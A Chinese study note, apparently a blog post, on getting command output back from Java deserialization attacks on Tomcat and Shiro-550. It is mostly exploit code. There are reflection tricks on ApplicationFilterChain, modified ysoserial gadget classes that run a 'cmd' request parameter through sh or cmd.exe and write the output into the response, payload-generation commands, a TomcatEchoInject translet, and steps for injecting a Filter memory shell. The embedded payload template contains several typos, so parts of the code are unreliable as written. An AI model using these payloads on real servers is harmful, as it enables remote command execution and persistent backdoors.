菜鸡水平,一篇笔记性质的纯水文,如有错漏还请指正QwQ
*所有参考文章统一放文末
关于回显
在我刚开始学内存马相关问题时,我其实没理解很多文章里在追求的“回显”是啥意思——因为起初都是拿着jsp来注内存马,所以对“回显”比较无感,直到开始学习反序列化注入内存马时才开始感受到“回显”的重要性;不同于jsp,通过反序列化注入时往往是能有一个点可以任意执行字节码,我们能控制的是一段java代码,显然不具备jsp那种得天独厚的条件(不再有拿来即用的request和response对象),就需要先从上下文环境中找到含有request/response的对象,然后再加以利用
Linux文件描述符回显法
所以问题理所当然的就从回显 转换为了寻找含有request/response的对象,了吗?在此之前我们可以先换个角度看问题(短暂跑个大题)
文件描述符
众所周知,Linux中一切皆文件,网络连接也可以通过文件描述符来获取,比如/proc/net/tcp
和/proc/net/tcp6
这里local_address是16进制的写法,我们可以先转10进制再用php的long2ip来复原,或者python也可
long = 0x0801A8C0
def long2ip(long):
floor_list = []
num = long
for i in reversed(range(4)):
res = divmod(num, 256**i)
floor_list.append(str(res[0]))
num = res[1]
floor_list.reverse()
return '.'.join(floor_list)
ip = long2ip(long)
print(ip)
# 192.168.1.8
根据remote ip对应socket连接的inode可以反查该进程的fd
***实现回显
利用上面的技巧,调用java代码打开对应的fd并直接操作即可实现回显;说的简单,来个demo试试
由于我实在是太菜了,这里本地一直没有调通,我直接就是一个滑跪
之后会继续搞得,调通以后我必更新本文
寻找上下文response法
上面那种方法虽然看着很强,但是仅局限Linux,要想寻求通杀还得专心找request/response
找response
以springboot项目为例,写一个controller用作测试
@Controller
public class VulnController {
@ResponseBody
@RequestMapping("/vuln")
public String vuln(String input, HttpServletResponse response) throws Exception{
System.out.println(response);
return input;
}
}
在调用栈里可以看到这个response被一直传递,没有什么变化(ResponseFacade是门面模式下的产物 也是一直不变的)(变量之后的@xxxx
是对变量内容哈希的部分值,可以通过这个来判断变量是否发生变化)
所以我们只要从这一堆堆栈里找任意一个类的response实例即可,为了确保尽可能的通杀 我们还需要只寻找tomcat部分的代码
但是直接看代码会发现大部分的request/response是通过传参的方式进行传递(被invoke调用),为此我们应该关注这两个变量在中间有没有被记录过,并且被记录的值不应该是全局变量 而应该是ThreadLocal,这样才能获取到当前线程的请求信息;最好还是一个static静态变量,否则我们还需要获取那个变量所在的实例
在org.apache.catalina.core.ApplicationFilterChain
这个类中找到了符合要求的变量(第一个发现的师傅tql)
在这个try catch中response被放入lastServicedResponse
,虽然if中的WRAP_SAME_OBJECT
是false,但是我们可以通过反射来修改,让它进入这个if,之后初始化lastServicedResponse
和lastServicedRequest
(默认为null),从lastServicedResponse
中获取当前请求response并回显内容
接入ysoserial
// 反射获取变量
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
// 通过modifiers反射修改static final字段
Field modifiersFiled = Field.class.getDeclaredField("modifiers");
modifiersFiled.setAccessible(true);
modifiersFiled.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~Modifier.FINAL);
modifiersFiled.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~Modifier.FINAL);
modifiersFiled.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~Modifier.FINAL);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd") // 寻找cmd参数
: null;
if(!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null){
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
// 获取response对象 在原本回显之后添加我们的内容
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseFiled = ResponseFacade.class.getDeclaredField("response");
responseFiled.setAccessible(true);
Response response = (Response) responseFiled.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
// 回显八股
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if(osTyp != null && osTyp.toLowerCase().contains("win")){
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext()?s.next():"";
w.write(output);
w.flush();
已经有了这样的模板,如何接入ysoserail的createsTemplatesImpl中呢?我们看payloads.util.Gagests.java中一般的模板都长这样
public static Object createTemplatesImpl(final String command) throws Exception {
return createTemplatesImpl(command, "");
}
我们也照猫画虎即可,擦去泛型的部分,并改用完整的类名;同时把command稍作修改,让原本命令行控制的cmd参数变为web请求需要的参数
// https://github.dev/kingkaki/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java
public static Object createTemplatesImplTomcatEcho(final String command) throws Exception {
String param = command == null ? "cmd" : command;
String template = "try {\n" +
" java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName(\"org.apache.catalina.coreApplicationDispatcher\").getDeclaredField(\"WRAP_SAME_OBJECT\");\n" +
" java.lang.reflect.Field lastServicedRequestField = org.apache.catalina.core.ApplicationFilterChainclass.getDeclaredField(\"lastServicedRequest\");\n" +
" java.lang.reflect.Field lastServicedResponseField = org.apache.catalina.core.ApplicationFilterChainclass.getDeclaredField(\"lastServicedResponse\");\n" +
" java.lang.reflect.Field modifiersField = java.lang.reflect.Field.class.getDeclaredField(\"modifiers\")\n" +
" modifiersField.setAccessible(true);\n" +
" modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, 8);\n" +
" modifiersField.setInt(lastServicedRequestField, 10);\n" +
" modifiersField.setInt(lastServicedResponseField, 10);\n" +
" WRAP_SAME_OBJECT_FIELD.setAccessible(true);\n" +
" lastServicedRequestField.setAccessible(true);\n" +
" lastServicedResponseField.setAccessible(true);\n" +
"\n" +
" ThreadLocal lastServicedResponse = lastServicedResponseField.get(null) != null\n" +
" ? (ThreadLocal) lastServicedResponseField.get(null)\n" +
" : null;\n" +
" ThreadLocal lastServicedRequest = lastServicedRequestField.get(null) != null\n" +
" ? (ThreadLocal) lastServicedRequestField.get(null)\n" +
" : null;\n" +
" boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);\n" +
" String cmd = lastServicedRequest != null\n" +
" ? ((javax.servlet.ServletRequest) lastServicedRequest.get()).getParameter(\"" + command + "\"\n" +
" : null;\n" +
" if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {\n" +
" lastServicedRequestField.set(null, new ThreadLocal());\n" +
" lastServicedResponseField.set(null, new ThreadLocal());\n" +
" WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);\n" +
" } else if (cmd != null) {\n" +
" javax.servlet.ServletResponse responseFacade = (javax.servlet.ServletResponse)lastServicedResponse.get();\n" +
" responseFacade.getWriter();\n" +
" java.io.Writer w = responseFacade.getWriter();\n" +
" java.lang.reflect.Field responseField = org.apache.catalina.connector.ResponseFacade.classgetDeclaredField(\"response\");\n" +
" responseField.setAccessible(true);\n" +
" org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response)responseField.get(responseFacade);\n" +
" java.lang.reflect.Field usingWriter = org.apache.catalina.connector.Response.class.getDeclaredFiel(\"usingWriter\");\n" +
" usingWriter.setAccessible(true);\n" +
" usingWriter.set((Object) response, Boolean.FALSE);\n" +
"\n" +
" boolean isLinux = true;\n" +
" String osTyp = System.getProperty(\"os.name\");\n" +
" if (osTyp != null && osTyp.toLowerCase().contains(\"win\")) {\n" +
" isLinux = false;\n" +
" }\n" +
" String[] cmds = isLinux ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\",cmd};\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n" +
" java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\\\a\");\n" +
" String output = s.hasNext() ? s.next() : \"\";\n" +
" w.write(output);\n" +
" w.flush();\n" +
" }\n" +
"} catch (Exception e) {\n" +
"}";
return createTemplatesImpl(command, template);
}
然后在payloads处添加对应的类(直接继承原有的CommonsCollectionsx即可)
// https://github.dev/kingkaki/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections2TomcatEcho.java
package ysoserial.payloads;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.PriorityQueue;
import java.util.Queue;
public class CommonsCollections2TomcatEcho extends CommonsCollections2 {
@Override
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImplTomcatEcho(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2TomcatEcho.class, args);
}
}
打包ysosrial
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho cmd
这样就相当于创建了一个从cmd参数获取要执行的命令的payload
适配shiro550
上面这种方法已经很好了,但仍然存在一点点小限制
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (this.pos < this.n) {
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}
if (Globals.IS_SECURITY_ENABLED) {
Principal principal = ((HttpServletRequest)request).getUserPrincipal();
Object[] args = new Object[]{request, response, this};
SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (ServletException | RuntimeException | IOException var15) {
throw var15;
} catch (Throwable var16) {
Throwable e = ExceptionUtils.unwrapInvocationTargetException(var16);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
} else {
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
if (request.isAsyncSupported() && !this.servletSupportsAsync) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}
if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && GlobalsIS_SECURITY_ENABLED) {
Principal principal = ((HttpServletRequest)request).getUserPrincipal();
Object[] args = new Object[]{request, response};
SecurityUtil.doAsPrivilege("service", this.servlet, classTypeUsedInService, args, principal);
} else {
this.servlet.service(request, response);
}
} catch (ServletException | RuntimeException | IOException var17) {
throw var17;
} catch (Throwable var18) {
Throwable e = ExceptionUtils.unwrapInvocationTargetException(var18);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set((Object)null);
lastServicedResponse.set((Object)null);
}
}
}
}
我们仔细看lastServicedRequest出现的位置,是在所有的Filter都执行完毕后才会进行set,而shiro的rememberMe功能就是shiro自己实现的一个filter,常规的打法都是将payload塞入rememberMe中,所以当获取到lastServicedRequest/Response时已经反序列化完了,就不可能再注入内存马了
既然如此,我们就以毒攻毒——动态注册一个Filter内存马并把它放在最前面,先于shiro的rememberMe执行
其实本质和上面的是一样的,我们将那一段恶意代码手动放入继承了AbstractTranslet的类中
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/**
* @author threedr3am
*/
public class TomcatEchoInject extends AbstractTranslet {
static {
try {
/*刚开始反序列化后执行的逻辑*/
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
编译后生成TomcatEchoInject.class字节码,我们继续稍稍改造一下createsTemplatesImpl(上一个Part里是直接粘了恶意代码然后调用createsTemplatesImpl,这里我们已经单独生成了class)
public static Object createTemplatesImpl ( final String command) throws Exception {
return createTemplatesImpl(command, null);
}
public static Object createTemplatesImpl ( final String command, final Class c ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command, c,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command, Class c, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
final byte[] classBytes;
if (c == null) {
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
classBytes = clazz.toBytecode();
} else {
classBytes = ClassFiles.classAsBytes(c);
}
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
我们根据需求增加了接收对应参数的createsTemplatesImpl(接收class,直接转为字节数组并放入TemplatesImpl的_bytescodes字段中)
修改完Gadgets我们还要修改对应的payload,在调用Gadgets的地方修改为
final Object templates = Gadgets.createTemplatesImpl(null, TomcatEchoInject.class);
我们这里直接将command忽略了,还需要再把GeneratePayload修改一下
if(args.length < 1){
printUsage();
System.exit(USAGE_CODE);
}
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatEchoInject > ./test.ser
用这个命令生成的反序列化内容攻击之后还不能上马,只是可以获得request和response对象
java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
// 不为空则意味着第一次反序列化的准备工作已成功
ServletRequest servletRequest = (ServletRequest) t.get()
然后就是动态注入Filter,常规的八股是这样的:
- 通过反射,从request对象中获取Tomcat中控制Web应用的Context对象(StandardContext对象)
- 利用获取的StandardContext对象获取上下文中的filterConfigs对象
- 注册一个Filter对象并重写其doFilter方法,在其中执行系统命令并通过response返回
- 创建FilterDef对象并利用刚创建的Filter对象完成初始化,并新建一个FilterMap对象,为创建的FilterDef对象添加URL映射
- 利用创建的FilterConfig对象,并使用刚创建的FilterDef对象初始化,最后加入FilterConfigs中,等待filterChain.doFilter调用
这里差不多,但是三梦师傅用了一个比较曲折的方法(不过也是反射 通过修改state值来添加filter),这块更多的就不详细说了,在上一篇笔记里以cc11为例详细写了如何接入冰蝎和哥斯拉
以下是本文中涉及到的 和我学习时看过的所有文章的链接🔗 每日感谢互联网的丰富资源(
Linux 系统文件描述符继承带来的危害 | PHP端口复用的利用 (code)
深入理解linux系统下proc文件系统内容 | linux系统编程之进程(三):进程复制fork,孤儿进程,僵尸进程
通杀漏洞利用回显方法-linux平台 | linux下java反序列化通杀回显方法的低配版实现 | Linux下文件描述符回显构造